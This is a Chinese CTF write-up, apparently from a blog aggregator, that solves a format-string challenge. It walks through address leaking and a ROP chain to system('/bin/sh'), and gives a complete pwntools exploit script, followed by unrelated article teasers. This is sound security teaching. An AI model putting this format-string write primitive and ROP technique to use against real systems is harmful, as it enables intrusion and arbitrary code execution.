一个废话巨多的 printf 题

news2024/12/24 3:28:47

网友给了一个题,这题是个格式化字符串漏洞的题。很有代表性,专门把这题说一下。其中为入门级的多说些废话。

附1:gdb

作pwn题是绕不开gdb的,而gdb本身不方便用,于是有了各种插件pwngdb,peda,gdbinit,gef都很牛,我用的是gef这个从网上下个附件就能用很方便。

常用命令有b下断点,vmmap,tel,set等。不是这里主要内容,有需要网上搜。

附2:patchelf

一般pwn题需要指定libc在process可以指libc,但我更喜欢用patchelf直接给程序打上补丁。因为那种似乎对堆不大友好。本题给了Dockerfile

FROM ubuntu:20.04
RUN apt-get update 
RUN apt-get install -y socat


COPY ./net.sh /home/net.sh
COPY ./shell /home/shell

RUN useradd user 
RUN chown -R user:user /home
USER user

WORKDIR /home

EXPOSE 10000
ENTRYPOINT ["/home/net.sh"]

这里边给定的系统是Ubuntu:20.04对应的libc大版本是libc-2.31 ,小版本未知但对这题来说已经足够了。

于是给shell打个补丁:

patchelf --set-interpreter ~/glibc/libs/2.31-0ubuntu9.9_amd64/ld-2.31.so she
patchelf --add-needed ~/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so she

附3:关闭aslr

 这个与本题基本无关,可有可无,但题目是动态加载的跟起来不方便,可以把aslr关掉

sudo /bin/sh
echo 0 > /proc/sys/kernel/randomize_va_space

1,读代码

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int i; // [rsp+4h] [rbp-Ch]
  void *s; // [rsp+8h] [rbp-8h]

  s = malloc(0x64uLL);
  for ( i = 0; i <= 49; ++i )
  {
    memset(s, 0, 0x64uLL);
    printf("> ");
    fflush(stdout);
    read(0, s, 0x64uLL);
    if ( !strcmp((const char *)s, "exit\n") )
      break;
    vuln(s);
  }
  return 0LL;
}
int __fastcall vuln(const char *a1)
{
  char *s; // [rsp+10h] [rbp-10h]
  FILE *stream; // [rsp+18h] [rbp-8h]

  s = (char *)malloc(0x64uLL);
  stream = fopen("./file.txt", "w");
  if ( !strcmp(a1, "ls\n") )
  {
    puts("file.txt");
  }
  else if ( !strncmp(a1, "cat", 3uLL) )
  {
    fgets(s, 100, stream);
    printf(s);
  }
  else if ( !strncmp(a1, "echo ", 5uLL) )
  {
    fputs(a1 + 5, stream);
  }
  return fclose(stream);
}

程序短,主程序读入一个串到堆里(这里定义的s是个指针,然后在堆里建块,把数据读进去),然后调用函数vuln这个是我随便写的,也算个习惯,改过以后很容易看出哪个函数用到哪个没用到。再看起来方便。

子函数会根据头几个字符分别执行3个功能,

  1.  ls没任何用处,
  2.  echo会把后边的部分写入方件中,
  3.  cat会把文件的内容读出来,然后执行printf漏洞

2,思路

对于printf来说,需要一个指针,然后往这个指针指定位置写数据,格式是

%1234c%17$hn

具体参数不多说了。这里边写入的数据不在栈上,所以这个写入的数据也就指不到偏移了,能不能够通过堆地址找到没试过

在不能直接写栈的情况下,有个方便的链rbp->rbp 每进一个函数都会压栈rbp这样rbp就成链用一个指另一个然后指向写数据的地方再写数据。不过这种情况需要至少3层的函数。这题恰巧也没有。

然后就是另外一个链argc,在libc调用的情况会有一个指针指向栈里边程序名字的串

s1->s2->'shell' 

利用方法是通过s1修改s2指向栈里写ROP的地址,然后一点点把ROP写进去,每次写一两个字节, 然后修改s2指向下一位置。

3,漏洞地址

题目里地址都是不知道的,printf会把偏移地址的值打印出来。

一般情况下64位通过寄存器值参,printf在偏移6就到当前函数的栈顶。(32位通过栈值参多一点是8)。具体还要打印出以后再与gdb核对。

 这个图在作题时很重要,当输入%6$p,%7$p,%8$p,%9$p时会打印出最上边4个值,也就确定的偏移是6。

这里边有几个地址用红箭头标出来:

  1. 偏移10,标$rbp的是指向下一个rbp指针
  2. 偏移11,函数vuln的返回地址,他运行完后会回到main函数中0x141b的位置
  3. 偏移15,main函数返回libc的地址,需要通过它来计算libc的加载地址
  4. 偏移17,argc指针,指向一个字符串指针,这个指什指向程序名(我把程序名改了,叫shell太招摇)。
  5. 这也是个栈指针,如果需要两个的时候会用到。这题给了50次(25次执行)如果给的次数不够可以把这个指针指向i,必要的时候修改i太到多次写的目的。

另外一个用黄框标出来的是将来写ROP的位置,为什么不直接写__libc_start_main_ret呢,因为这里利用了栈指针。这个批针太近了。当然也有别的办法处理,稍麻烦点。

另外,有时候这种情况不给退出命令,比如在main/break这里写个exit,想退出其实更好的办法是写vuln的返回地址,在执行printf后退出函数时就会执行到这里。把这里写成pop xxx 可以通过这个调节直接跳到写的ROP的位置,这里恰好ppp6可以跳到。而ppp6这个万能gadget是init里基本必有的(新版本没了)

所以第1步漏洞很容易了,指定偏移就行。

from pwn import *

p = process('./she')
context(arch='amd64', log_level='debug')

elf = ELF('./she')
libc = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')

#gdb.attach(p, "b*0x0000555555555386\nc")

def show(msg):
    p.sendafter(b"> ", b'echo '+msg.encode())
    p.sendafter(b"> ", b'cat')

show('%10$p,%11$p,%15$p\n')
stack, vuln, libc_start_main_ret = [int(v,16) for v in p.recvline().strip().split(b',')]

stack = stack + 0x20 
libc.address = libc_start_main_ret - 243 - libc.sym['__libc_start_main']
elf.address = vuln - 0x141b

print(f"{stack = :x} {libc.address = :x} {elf.address = :x}")

这里由于关闭了aslr所以可以写个静态的gdb中断。

4,写指针

在栈里修改数据,需要指定偏移,而这个偏移由于读入的数据并不在栈上,所以需要用到这个链。这里s1是偏移17,它指向s2,偏移是45,通过s1修改s2的尾字节,让他指写我们要写ROP的位置,然后再通过s2来执行写。偏移每8字节+1,正好1行。计算可以数,也可以通过算,通常情况下argc这个链可能会很远,脱鞋也数不到。

>>> (0xf98-0xe60)//8
39
>>> 39+6
45

第1步要通过17把45的尾字节修改让他指向ROP

# 17->45->18
show(f'%{ stack&0xffff }c%17$hn')

5,写ROP

64位地址其实只用了6位,所以每字写3次,第1次写lln8字节整数清0并写入后边每次写两字节。ROP很简单就是pop_rdi,bin_sh,system

def write_rop(off, v):
    off = off&0xff
    v1,v2,v3 = v&0xffff, (v>>16)&0xffff, (v>>32)&0xffff
    show(f'%{off}c%17$hhn')
    show(f"%{v1}c%45$lln")
    show(f'%{off+2}c%17$hhn')  #17->45->rop+2
    show(f"%{v2}c%45$hn")
    show(f'%{off+4}c%17$hhn')
    show(f"%{v3}c%45$hn")


pop_rdi = next(elf.search(asm('pop rdi;ret')))
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']

write_rop(stack,pop_rdi)
write_rop(stack+8,bin_sh)
write_rop(stack+16,system)

6,写跳转

把vuln的返回地址改成ppp6

show(f'%{ (stack&0xff) -0x38 }c%17$hhn')
show(f'%{0x8a}c%45$hhn')

p.interactive()

 这时候返回里会执行ppp6弹掉6个后到pop_rdi, bin/sh,system得到shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/788161.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Kafka-配置Kerberos安全认证(JDK8、JDK11)

一、相关配置 1、JAAS 配置文件 KafkaClient {com.sun.security.auth.module.Krb5LoginModule requireduseKeyTabtruestoreKeytrueserviceName"kafka"keyTab"D:/code/demo/conf/kafka.service.keytab"principal"kafka/hdp-1"; }; 2、keytab 文…

网络安全必备的10款工具(附安装包)

“磨刀不误砍柴工”。 优秀的工具有助于提高工作效率&#xff0c;安全工程师也需要优秀的安全软件来提高工作效率。 在具体的工作场景中&#xff0c;有很多种选择&#xff0c;这里有10种开源的免费安全工具&#xff0c;不仅可以提高工作效率&#xff0c;还可以降低企业成本。 …

elasticsearch使用记录

参考文章&#xff1a;https://elasticsearch-py.readthedocs.io/en/v8.8.2/ 参考文章&#xff1a;https://cuiqingcai.com/6214.html 参考文章&#xff1a;https://www.cnblogs.com/cupleo/p/13953890.html elasticsearch版本&#xff1a;8.8.2(软件包发行版) python版本&#…

大数据教材推荐-《Python数据分析与应用(第2版)(微课版)》

《Python数据分析与应用(第2版)(微课版)》 是“十四五”职业教育国家规划教材&#xff0c;也是大数据应用开发“1X”职业技能等级证书配套系列教材&#xff0c;以任务为导向&#xff0c;全面介绍数据分析的流程和应用&#xff0c;详细讲解利用Python解决企业实际问题的方法。内…

Object.hasOwn 低版本浏览器兼容性问题解决

使用 hasOwn 去测试属性是否存在 &#xff0c;报错如下&#xff1a; 原因&#xff1a; hasOwn是es2022新语法&#xff0c;旧浏览器不支持。 解决方案&#xff1a; 使用Object.hasOwnProperty()代替。 Object.prototype.hasOwnProperty.call(obj, id)

1台相当于种20棵树!海尔冷媒变流空调获用户和社会双重满意

作者 | 曾响铃 文 | 响铃说 空调调到26度&#xff0c;风速调到2档&#xff0c;长按制冷键5秒......每年夏天&#xff0c;暑热来临&#xff0c;在抖音、小红书等社交平台上总能刷到类似的“开空调小技巧”。据说&#xff0c;按照这样来开空调&#xff0c;不仅可以实现凉而不冷…

-bash: /bin/rm: Argument list too long

有套数据库环境&#xff0c;.aud文件太多导致/u01分区使用率过高&#xff0c;rm清理时发现报错如下 [rootdb1 audit]# rm -rf ASM1_ora_*202*.aud -bash: /bin/rm: Argument list too long [rootdb1 audit]# rm -rf ASM1_ora_*20200*.aud -bash: /bin/rm: Argument list too…

Sui Move与标准Move的有哪些区别和根本性创新

Sui网络将Sui Move作为其本地编程语言&#xff0c;使用Sui Move编写的apps利用Sui的共识机制&#xff0c;实现了令人印象深刻的交易性能。 然而&#xff0c;熟悉Move编程语言的开发者在探索Sui文档时可能会感到困惑&#xff0c;因为该文档着重介绍了对象和一些指令&#xff0c…

使用TensorFlow训练深度学习模型实战(上)

大家好&#xff0c;尽管大多数关于神经网络的文章都强调数学&#xff0c;而TensorFlow文档则强调使用现成数据集进行快速实现&#xff0c;但将这些资源应用于真实世界数据集是很有挑战性的&#xff0c;很难将数学概念和现成数据集与我的具体用例联系起来。本文旨在提供一个实用…

自然语言处理应用程序设计

原文地址&#xff1a;https://zhanghan.xyz/posts/22426/ 文章目录 一、摘要二、数据集三、相关环境四、功能展示1.系统主界面2.中文分词3.命名实体识别4.文本分类5.文本聚类6.其他界面 五、源码链接 一、摘要 将自然语言处理课程设计中实现的模型集成到自然语言处理应用程序…

利用模 m 的原根存在性判断以及求解

完整资料进入【数字空间】查看——搜索"writebug" 一、题目&#xff1a; 模 m 的原根存在性判断以及求解。判断 m 原根是否存在&#xff0c;如存在给出一个原根以及所有原根。 二、问题描述 首先要判断给定模 m 是否存在原根&#xff0c;然后需要对其原根进行求解。…

js截取字符串

1、 split() 方法用于把一个 字符串 分割成 字符串数组 var str "123,456,789"; console.log(str.split()); // ["1", "2", "3", ",", "4", "5", "6", ",", "7", &…

性能测试—性能监控

性能监控 性能监控是指通过收集、分析和报告关键性能指标&#xff0c;实时监测系统、应用程序或网络的性能和健康状况。通过性能监控&#xff0c;您可以及时发现潜在的性能问题&#xff0c;识别系统瓶颈&#xff0c;并进行性能优化。 以下是一些常见的性能监控指标和技术&…

标准IO_打开和关闭文件_fopen,fdopen,freopen,stdin,stdout,stderr

目录 1.打开文件 1.1 fopen函数原型 1.1.1 fopen函数 1.1.2 fopen函数原理 1.1.3 文本文件和二进制文件区别&#xff1f; 1.1.4 “r"模式和“rb”模式区别&#xff1f; 1.1.5 fopen函数使用示例 1.2 fdopen函数原型 1.2.1 fdopen函数 1.2.2 fdopen函数原理 1.2…

电脑丢失msvcp140.dll的解决方法分享

如果你在使用电脑时遇到了“找不到msvcp140.dll”的错误提示&#xff0c;别着急&#xff01;这并不是什么严重的问题&#xff0c;电脑丢失msvcp140.dll的解决方法分享&#xff0c;只要你按照以下方法进行处理&#xff0c;很快就能够顺利地解决它。 一.什么是msvcp140.dll msvc…

Spring Boot与MyBatis结合 实现对mock平台改造

上一章&#xff1a; 测开工具&#xff1a;spring boot 实现mock平台_springboot搭建mock_做测试的喵酱的博客-CSDN博客 代码地址&#xff1a; GitHub - 18713341733/mock: Spring Boot与MyBatis结合 实现对mock平台改造 一、背景 读取数据改为从mysql数据库中读取。 Sp…

RDIFramework.NET CS敏捷开发框架 V6.0发布(支持.NET6+、Framework双引擎,全网唯一)

全新RDIFramework.NET V6.0 CS敏捷开发框架发布&#xff0c;全网唯一支持.NET6&#xff0c;Framework双引擎&#xff0c;降低开发成本&#xff0c;提高产品质量&#xff0c;提升用户体验与开发团队稳定性&#xff0c;做软件就选RDIFramework.NET开发框架。 1、RDIFramework.NET…

主从复制高级进阶

从主库入手&#xff1a; 关闭 主&#xff1a;修改配置文件 /etc/my.cnf 查看日志 查看 从&#xff1a; 修改重启 重启后报错&#xff0c;可能是uuid相同&#xff0c;要修改 查看状态 都是yes 从 从库入手 修改配置文件重启 从3&#xff1a; 从2&#xff1a; 先停止slave …

redis中使用bloomfilter的白名单功能解决缓存预热问题

一 缓存预热 1.1 缓存预热 将需要的数据提前缓存到缓存redis中&#xff0c;可以在服务启动时候&#xff0c;或者在使用前一天完成数据的同步等操作。保证后续能够正常使用。 1.2 解决办法PostConstruct注解初始化

微服务框架入门

微服务 微服务是一种经过良好架构设计的分布式架构方案&#xff0c;微服务架构特征&#xff1a; 单一职责&#xff1a;微服务拆分粒度小&#xff0c;每一个服务都对应唯一的业务能力&#xff0c;做到单一职责&#xff0c;避免重复业务开发面向服务&#xff1a;微服务对外暴露…